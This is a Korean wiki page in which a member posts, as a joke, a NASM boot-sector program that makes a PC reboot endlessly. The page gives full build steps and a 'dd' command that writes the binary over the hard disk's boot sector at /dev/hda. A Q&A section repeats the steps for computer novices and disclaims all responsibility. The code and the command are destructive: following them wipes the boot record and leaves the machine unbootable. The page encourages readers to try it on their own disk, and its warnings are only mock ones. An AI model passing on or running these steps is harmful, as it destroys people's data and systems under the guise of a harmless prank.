RecentChanges
  FrontPage
TitleIndex  |  RecentChanges
 

무한재부팅


시험이 끝난 기념으로 최신식 무한 재부팅 프로그램을 만들었습니다. -회원
오픈소스 정신으로 소스만 공개합니다.

; reboot program
; filename : reboot.asm
; LICENSE : GPL

reboot:
	jmp 0xf000:0xfff0

times 510-($-$$) db 0
dw 0xAA55

"EA F0 FF 00 F0" 5바이트면 되지만 마지막 0x55, 0xAA때문에 512바이트로 증가...

qemu에서 실행결과 잘 작동합니다.

메모장에 집어넣고 저장하신 후 nasm으로 컴파일하세요.
ex)nasm reboot.asm -o reboot.bin

그리고 하드디스크에 덮어주세요.(덮는 방법은 자유)
ex)리눅스 : dd if=reboot.bin of=/dev/hda 윈도우는 rawrite.. (둘다 안해봄)

※ 주의
약자산부는 따라하지 마세요
린이들은 집에서 이걸 가지고 장난치면 안됩니다.


꼭 본인의 <하드 디스크>에 실험해 보신후 사용기를 올려주세요.
당첨되신 분께 선물을 드리지 않습니다. 당첨안되신 분도 마찬가지입니다.


Q. 컴맹은 어떻게 따라하나요...?? 쥬드
A. <컴맹을 위한 무한재부팅 설치 가이드>
  1. http://sourceforge.net/projects/nasm 에서 nasm을 다운받고 압축을 푸세요.(윈도우 : Win32 binaries)
  2. 위의 소스 코드(; reboot 어쩌고부터 dw 0xAA55까지.)를 복사한 후 편집기(ex 메모장)에 붙여넣고 reboot.asm(자기맘대로) 로 저장하세요.
  3. nasm reboot.asm -o reboot.bin(윈도우는 nasm이 아니라 nasmw 그리고 도스창에서)을 입력하세요
  4. 생성된 reboot.bin을 하드디스크에 덮어주세요.(이후에 일어나는 일에 대해서는 저는 책임을 지지 않습니다.)
    지금 제가 테스트할 수 있는 환경이 아니라 4번은 자세히 설명하기 힘드네요..




Powered by MoniWiki
xhtml1 | css2 | rss